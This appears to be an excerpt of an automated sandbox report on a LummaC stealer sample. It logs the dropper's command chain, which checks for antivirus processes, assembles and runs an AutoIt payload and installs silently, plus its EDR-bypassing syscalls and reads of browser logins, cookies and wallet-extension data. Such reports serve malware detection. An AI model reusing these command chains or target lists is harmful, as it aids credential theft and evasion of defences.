Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe

NtQuerySystemInformation: Direct from: 0x459124

Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Manor Manor.cmd & Manor.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 446130	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Relations	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Onto" Lifetime	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 446130\Establish.com + Jon + Suggestion + Career + Biz + Build + Getting + Diving + Generation + Crossword + Betting + Lender 446130\Establish.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Teen + ..\Alabama + ..\Important + ..\Drawings + ..\Den + ..\Sluts + ..\Names u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com Establish.com u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: Establish.com, 0000000D.00000000.2080205021.0000000000E13000.00000002.00000001.01000000.00000007.sdmp, Betting.9.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ColorStreamLib.exe, 0000002F.00000000.3049497031.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087001919.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, is-P5ORS.tmp.20.dr	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: ColorStreamLib.exe, 0000002F.00000000.3049497031.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087001919.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, is-P5ORS.tmp.20.dr	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\f83c7ffb VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe

Code function: 47_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

47_2_00491486

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000026.00000002.3001318879.000002B34DB60000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000026.00000002.3001373682.000002B34DBAB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
